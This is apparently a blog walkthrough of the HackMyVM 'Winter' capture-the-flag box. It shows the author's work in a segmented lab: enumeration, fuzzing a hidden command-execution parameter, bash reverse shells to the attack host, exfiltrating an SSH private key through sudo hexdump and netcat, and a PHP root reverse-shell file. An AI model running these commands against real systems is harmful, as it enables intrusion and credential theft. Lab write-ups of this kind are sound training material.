HackMyVM | Winter

In this walkthrough, I demonstrate how I obtained complete ownership of Winter from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Medium Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

A Fair Warning

This box is FULL OF RABBIT HOLES! If you think you've found an avenue, but remain stuck for a while, enumerate more, try different word lists, and more. Embrace the pain.


Nmap Results

# Nmap 7.95 scan initiated Mon Jan  5 17:56:59 2026 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.24
Nmap scan report for 10.9.9.24
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 39:47:4a:a2:1d:53:5a:d4:9e:4e:2e:61:61:e9:bb:82 (RSA)
|   256 dc:48:cb:c6:f5:41:2c:d8:5a:87:c6:2d:ff:35:ae:15 (ECDSA)
|_  256 26:05:e1:dd:1c:60:af:ef:4b:b7:e5:01:ae:e2:52:ca (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: catchme
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan  5 17:57:12 2026 -- 1 IP address (1 host up) scanned in 12.63 seconds
ℹ️
For convenience, I'll be adding an entry for winter.hmv in my /etc/hosts file, since it's easier to work with host names.
echo -e '10.9.9.24\t\twinter.hmv' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Penetration Testing

Initial Enumeration

ℹ️
Since this box represents more of a CTF challenge than a traditional web app, we'll skip right to the penetration testing phase instead of the usual walking of the application.
Not much in the page source
'robots.txt' with empty spaces removed



Directory and File Enumeration

gobuster dir -u http://winter.hmv/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 10 -o dir.txt -x js,html,php,txt
/about.php            (Status: 302) [Size: 1018] [--> login.php]
/contact.php          (Status: 302) [Size: 1213] [--> login.php]
/home.php             (Status: 302) [Size: 904] [--> login.php]
/index.html           (Status: 200) [Size: 201]
/javascript           (Status: 301) [Size: 313] [--> http://winter.hmv/javascript/]
/login.php            (Status: 200) [Size: 900]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/manual               (Status: 301) [Size: 309] [--> http://winter.hmv/manual/]
/news.php             (Status: 302) [Size: 855] [--> login.php]
/robots.txt           (Status: 200) [Size: 237]
/robots.txt           (Status: 200) [Size: 237]
/server-status        (Status: 403) [Size: 275]
/settings.php         (Status: 302) [Size: 1259] [--> login.php]
/signup.php           (Status: 200) [Size: 856]
/upload               (Status: 301) [Size: 309] [--> http://winter.hmv/upload/]



Register an Account

Registered with "test:test"
Logged in successfully
Might be alluding to some vulnerabilities on the target
So far, this appears to be the only page accepting any user input
ℹ️
I tired some different inputs to the contact form to see what was possible, but believe it to be a rabbit hole, since anything that would be in the <script></script> tags would run client side. So, let's enumerate more with our session cookie.



Authenticated Enumeration

grep -iv logout /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt > med.txt

Filter out any logout pages, so we don't destroy our session by going to something like 'logout.php'

gobuster dir -H 'Cookie: PHPSESSID=3s0f4odui9jftalvl2nfplhlia' -u http://winter.hmv -x php,txt,html,bak -w med -t 10
/index.html           (Status: 200) [Size: 201]
/news.php             (Status: 200) [Size: 1316]
/contact.php          (Status: 200) [Size: 1213]
/about.php            (Status: 200) [Size: 1134]
/home.php             (Status: 200) [Size: 993]
/login.php            (Status: 200) [Size: 900]
/signup.php           (Status: 200) [Size: 856]
/upload               (Status: 301) [Size: 309] [--> http://winter.hmv/upload/]
/manual               (Status: 301) [Size: 309] [--> http://winter.hmv/manual/]
/javascript           (Status: 301) [Size: 313] [--> http://winter.hmv/javascript/]
/robots.txt           (Status: 200) [Size: 237]
/settings.php         (Status: 200) [Size: 1259]
/fileinfo.txt         (Status: 200) [Size: 52]
💡
settings.php immediately caught my eye, as we may be able to tweak the user avatar or abuse some other feature. fileinfo.txt may also be interesting.
Indeed, let's see what we can do



Testing the File Upload Feature

Trying a small phpinfo() script results in this error
🚨
The file upload feature seems pretty locked down, as it appears to have some simple (but effective) checks on the last dot of the file extension AND the MIME type of the content. And null byte -- %00 -- termination didn't appear to work, as it was saved literally to the file path.



Testing the Domain Name

If the domain name is winter, then that means the top-level domain (TLD) ends in .winter. So, let's do some virtual host testing for this.

gobuster vhost --domain 'winter' --append-domain -u 'http://10.9.9.24' -t 10 -w /usr/share/seclists/Discovery/DNS/namelist.txt
cmd.winter Status: 200 [Size: 198]
manager.winter Status: 200 [Size: 199]
echo -e '10.9.9.24\t\tcmd.winter manager.winter' | sudo tee -a /etc/hosts

Add the new host names to our hosts file

gobuster dir -u http://cmd.winter -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10 -x php
/manual               (Status: 301) [Size: 309] [--> http://cmd.winter/manual/]
/javascript           (Status: 301) [Size: 313] [--> http://cmd.winter/javascript/]
/shellcity.php        (Status: 200) [Size: 1040]
gobuster dir -u http://manager.winter -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10 -x php
/news.php             (Status: 302) [Size: 855] [--> login.php]
/contact.php          (Status: 302) [Size: 1243] [--> login.php]
/about.php            (Status: 302) [Size: 1558] [--> login.php]
/home.php             (Status: 302) [Size: 907] [--> login.php]
/login.php            (Status: 200) [Size: 1275]
/manual               (Status: 301) [Size: 317] [--> http://manager.winter/manual/]
/javascript           (Status: 301) [Size: 321] [--> http://manager.winter/javascript/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
💡
Between the two virtual hosts, the shellcity.php script seems to hold the most promise. I checked login.php on the manager vhost, but couldn't login with a few simple guesses.





Exploit

shellcity.php

If I had to guess, probably need to do some parameter fuzzing



Parameter Fuzzing

gobuster fuzz -u 'http://cmd.winter/shellcity.php?FUZZ=cat%20/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10
Looking at the output, content length 1040 is the noise to be filtered
gobuster fuzz -u 'http://cmd.winter/shellcity.php?FUZZ=cat%20/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -t 10 --exclude-length 1040
So, the valid parameter name is run
curl -s 'http://cmd.winter/shellcity.php' -G --data-urlencode 'run=cat /etc/passwd'

Use -G to indicate that the --data-urlencode input is intended for the URL query (not body)

There's the 'catchme' word we've been seeing elsewhere



Reverse Shell

sudo rlwrap nc -lnvp 443

Start a TCP socket to catch the reverse shell

curl -s 'http://cmd.winter/shellcity.php' -G --data-urlencode 'run=/bin/bash -c '"'"'/bin/bash -i >& /dev/tcp/10.6.6.6/443 0>&1'"'"''

Must use '"'"' to nest single quotes inside single quotes





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux winter 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Matching Defaults entries for www-data on winter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on winter:
    (catchme) NOPASSWD: /usr/bin/hexdump



Users and Groups

Local Users

catchme:x:1000:1000:catchme,,,:/home/catchme:/bin/bash

Local Groups

cdrom:x:24:catchme
floppy:x:25:catchme
audio:x:29:catchme
dip:x:30:catchme
video:x:44:catchme
plugdev:x:46:catchme
netdev:x:109:catchme
bluetooth:x:111:catchme
catchme:x:1000:



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:55:b0:c2 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.24/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 4607sec preferred_lft 4607sec
    inet6 fe80::be24:11ff:fe55:b0c2/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp   LISTEN     0      128             127.0.0.1:1336            0.0.0.0:*           
tcp   LISTEN     0      80              127.0.0.1:3306            0.0.0.0:*



Interesting Files

/var/www/manager/login.php

<?php
session_start();
if(isset($_POST['btn']))
{
$us=$_POST['login'];
$pa=$_POST['pass'];

if($us==="manager@winter" and $pa==="cool_manager")
{
$_SESSION['favcolor']=$us;
header('Location: home.php');
}
else
{
echo "<script>alert('wrong username or password')</script>";
}
}
?>

/var/www/manager/manager.pcapng

-rwxr-xr-x 1 root root  9320 Nov 29  2020 manager.pcapng

/etc/nginx/sites-enabled/default

grep -vE '^.*#' /etc/nginx/sites-enabled/default
server {
        listen  127.0.0.1:1336 ;


        root /opt/customer/;

        index index.html index.htm index.nginx-debian.html index.php;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;

                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }

        location ~ /\.ht {
                deny all;
        }
}





Privilege Escalation

Dump Database

💡
Seeing tcp/3306 open on the box, I'd like to see if there are any system user hashes that we can crack.
grep -ir mysql /var/www
html/signup.php:    $dbh = new PDO('mysql:host=127.0.0.1;dbname=winter', 'root', 'idkpass');
html/login.php:    $dbh = new PDO('mysql:host=127.0.0.1;dbname=winter', 'root', 'idkpass');

The original web page at the beginning of the pentest has some DB connections defined

mysql -u root -D winter -p'idkpass'

Connect to the "winter" database from the reverse shell

The passwords are stored in cleartext
🚨
Unfortunately, not seeing anything useful here.



Lateral to catchme

Sudo Abuse

💡
During post-exploit enumeration, we identified that www-data can run /usr/bin/hexdump as the user catchme. This will allow us to read any files owned by the user catchme.

Since tcp/22 is open on the target, it's reasonable to assume that the user may have a SSH key saved on disk. When you run ssh-keygen without any parameters, the default save path for the public and private keys is $HOME/.ssh.
sudo -u catchme /usr/bin/hexdump -C /home/catchme/.ssh/id_rsa
Indeed, we can read the private key. Let's transfer it to our attack box.
sudo nc -q 3 -lnvp 80 > catchme_key

Open a TCP socket to catch the file

Hexdump Privileged Fil... | 0xBEN | Notes
Read with Hexdump sudo -u user.name /usr/bin/hexdump -v -e ‘/1’ ”%02x”′ > hex.dump -v -e ’/1 ”%02x…

We'll combine the techniques into a one-liner...

sudo -u catchme /usr/bin/hexdump -v -e '/1 "%02x"' /home/catchme/.ssh/id_rsa | xxd -r -p | nc -q 3 -nv 10.6.6.6 80
chmod 600 catchme_key

Set the appropriate permissions

ssh -i catchme_key catchme@winter.hmv
🚨
To authenticate as catchme, we'll need both a password a private key. So, let's hunt around a bit more for a password.
sudo -u catchme /usr/bin/hexdump -v -e '/1 "%02x"' /home/catchme/.profile | xxd -r -p

sudo -u catchme /usr/bin/hexdump -v -e '/1 "%02x"' /home/catchme/.bashrc | xxd -r -p

sudo -u catchme /usr/bin/hexdump -v -e '/1 "%02x"' /home/catchme/.bash_history | xxd -r -p

✅ success!

ssh -i catchme_key catchme@winter.hmv
Good to check upon changing users



Becoming Root

Port Forward -> 127.0.0.1:1336

Port Forwarding with SSH | 0xBEN | Notes
Security Considerations Reverse Tunneling This will require you to establish a SSH connection fr…
ssh -i catchme_key -f -N -L 127.0.0.1:1336:127.0.0.1:1336 catchme@winter
gobuster dir -u http://127.0.0.1:1336 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 10 -x php
/snowman.php          (Status: 200) [Size: 1010]
💡
The interface on snowman.php looks very similar to the contact.php forms we've seen in other instances...
/var/www/cmd/shellcity.php command execution via "message" and "to" fields
ℹ️
I suspect snowman.php will function similarly in that if we pass id, whoami, or pwd in the Message field, we should see the output on the page...
"id" command output
"pwd" command output
💡
I suspect, we'll have another "hidden" parameter here that will allow us to achieve command execution as root. We can use our sudo privileges to read the PHP source and hopefully find an exploit.



Sudo Abuse (File Read)

head | GTFOBins
sudo /usr/bin/head -c1G /opt/customer/snowman.php

Take a lucky guess...

...good guess!
The parameter is ?exec and causes a PHP include()



Command Execution

Reverse Shell as Root

cat << 'EOF' > /tmp/pwn.php
<?php
system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.6.6.6/443 0>&1'");
?>
EOF

Run as root to... change root's password to "youhavebeenpwned" via "/etc/passwd"

sudo rlwrap nc -lnvp 443

Start a TCP socket to catch the reverse shell



Flags

User

HMVlocalhost

Root

HMV_127.0.0.1
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.